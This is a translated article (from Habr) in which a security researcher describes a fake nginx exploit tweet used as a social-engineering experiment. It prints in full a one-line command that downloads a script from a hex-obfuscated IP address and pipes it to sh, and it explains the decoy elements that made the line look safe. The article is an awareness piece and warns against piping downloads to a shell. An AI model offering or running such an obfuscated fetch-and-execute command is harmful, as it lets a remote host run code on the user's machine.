Успехът на социалния експеримент с фалшив експлоит за nginx

Прим. прев.: Автор по-оригиналната бележка, публикувана на 1 юни, реших да проведа експеримент сред заинтересованите от информационната безопасност. За целта подготвих фалшив експлойт за непубликувана уязвимост в уебсервера и го разпространих в Туитър. Предположенията ми — да бъда мигновено разобличен от специалисти, които ще видят очевидната измама в кода — не просто не се оправдаха… Те надминаха всички очаквания, и то в обратна посока: туитът получи огромна подкрепа от многобройни хора, които не провериха съдържанието му.

TL;DR: по никакъв начин не използвайте конвейеризация на файлове в sh или bash. Това е отличен начин да загубите контрол над компютъра си.

Искам да споделя с вас малка история за шеговит PoC-експлойт, който бе създаден на 31 май. Той се появи бързо в отговор на новината от Алиса Есейдж Шевченко, член на Zero Day Initiative (ZDI), че скоро ще бъде разкрито информация за уязвимост в NGINX, водеща до RCE (отдалечено изпълнение на код). Тъй като NGINX е в основата на много уебсайтове, новината трябваше да предизвика ефект на взрив. Но заради закъснения в процеса на "отговорно разкритие" на информацията, подробностите за случая не бяха известни — такава е стандартната процедура на ZDI.

Туит за разкритие на уязвимост в NGINX

След като приключих работата по новата техника за обфускация в curl, цитирах оригиналния туит и "изсипах работещ PoC", състоящ се от един ред код, уж използващ откритата уязвимост. Разбира се, това беше пълна глупост. Считах, че моментално ще ме разобличат, и че в най-добрия случай ще получа няколко ретуита (и това е ок).

Туит с фалшив експлойт

Но не можех да си представя какво ще последва. Популярността на моя туит се издигна до небесата. Удивително е, но до момента (15:00 МСК на 1 юни) все още малко хора осъзнават, че това е фалшификат. Много хора го ретуитират изобщо без проверка (да не говорим за това, че не поглеждат прекрасната ASCII-графика, която извежда).

Само погледнете колко е красиво!

Въпреки че всички тези цикли и цветове са чудесни, ясно е: за да ги видят, хората трябваше да изпълнят кода на собствената си машина. За щастие, браузърите работят по подобен начин и с факта, че проблемите с закона изобщо не ме интересуват, кодът, скрит в сайта ми, просто правеше извиквания echo, без да се опитва да инсталира или изпълнява какъвто и да е допълнителен код.

Няколко думи: netspooky, dnz, аз и другите момчета от екипа Thugcrowd вече известно време експериментираме с различни начини за обфускация на curl команди, защото е забавно… и ние сме гикове. netspooky и dnz откриха няколко нови метода, които на мен ми се сториха изключително обещаващи. Присъединих се към забавлението и опитах да добавя IP-десетични преобразувания към набора трикове. Оказа се, че IP също може да се конвертира в шестнадесетичен формат. Още повече, curl и повечето от другите NIX инструменти с удоволствие „ядат“ шестнадесетични IP! Така че, просто трябваше да създам убедителен и безопасно изглеждащ команден ред. В крайна сметка аз спрях на това:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..///nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<link href='protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Социо-електронната инженерия (S.E.E.) е повече от просто фишинг

Сигурността и познатостта бяха основна част от този експеримент. Мисля, че именно те доведоха до успеха му. Командният ред явно подразбираше сигурност, като се позоваваше на „127.0.0.1“ (всеки знае localhost). Счита се, че localhost е безопасен и данните на него никога не напускат компютъра ви.

Познатостта беше вторият ключов компонент на S.E.E. в експеримента. Тъй като целевата аудитория предимно се състоеше от хора, запознати с основите на компютърната сигурност, беше важно да се създаде код, чиято част да изглежда позната и безопасна. Взимането на елементи от стари концепции за експлоити и комбинирането им по необичаен начин се оказа изключително успешно.

По-долу следва подробно разглеждане на командния ред. Всичко в този списък има косметичен характер, а за неговата реална работа практически нищо не се изисква.

Кои компоненти обаче са наистина необходими? Това е -gsS, -O 0x0238f06a, |sh и самият уеб сървър. Уеб сървърът не съдържаше злонамерени инструкции, а просто предаваше ASCII графика чрез команди echo в скрипта, който се съдържа в index.html. Когато потребителят въвежда ред с |sh в средата, index.html той се зарежда и изпълнява. За щастие, администраторите на уеб сървъра нямат зли намерения.

• ../../../%00 — изображава излизане извън директорията;
• ngx_stream_module.so — път до случаен модул на NGINX;
• /bin/sh%00<'protocol:TCP' — ние предполагаемо стартираме /bin/sh на целевата машина и пренасочваме изхода в TCP канал;
• -O 0x0238f06a#PLToffset — тайна съставка, допълнена #PLToffset, за да изглежда като офсет в паметта, съдържащ се по някакъв начин в PLT;
• |sh; — още един важен фрагмент. Трябваше да пренасочим изхода в sh/bash, за да изпълним кода, идващ от атакуващия уеб сървър, разположен на адрес 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — празно, в което netcat препраща на /dev/tcp/localhost, за да изглежда всичко безопасно отново. Всъщност, то не прави нищо и е включено в реда за красота.

С това приключват декодирането на едноредовия скрипт и обсъждането на аспектите на „социо-електронната инженерия“ (изобретателен фишинг).

Конфигурация на уеб сървъра и мерки за противодействие

Тъй като подавляващото мнозинство от моите абонати са информационни сигурност/Hакери, реших да направя уеб сървъра малко по-устойчив на проявите на „интерес“ от тяхна страна просто, за да им бъде интересно (и настройката му беше забавна). Няма да изброявам всички капани, тъй като експериментът все още продължава, но ето няколко неща, които сървърът прави:

• Активно следи опитите за разпространение в определени социални мрежи и поставя различни миниатюри за предварителен преглед, за да подтикне потребителя да кликне върху връзката.
• Пренасочва Chrome/Mozilla/Safari и т.н. към промо видеото на Thugcrowd вместо да показва скрипта на shell.
• Следи за ЯСНИ признаци на влизане/груба намеса, след което започва да пренасочва запитванията към сървърите на АНБ (ха!).
• Инсталира троян, както и BIOS rootkit на всички компютри, потребителите на които посещават хоста от обикновен браузър (шега!).

Малка част от антимер

В този случай единствената ми цел беше да усъвършенствам някои функции на Apache — по-специално хубавите правила за пренасочване на запитвания — и си помислих: защо не?

Експлойт на NGINX (истински!)

Следвайте @alisaesage в Twitter и наблюдавайте за впечатляващата работа на ZDI по отстраняването на реални уязвимости и възможности за експлояция в NGINX. Работата им винаги ме е впечатлявала и съм благодарен на Алиса за търпението, свързано с всички споменавания и уведомления, предизвикани от моя глупав туит. За щастие, той донесе и някои ползи: помогна да се повиши осведомеността за уязвимостите на NGINX и за проблемите, причинени от злоупотреба с curl.

Източник: habr.com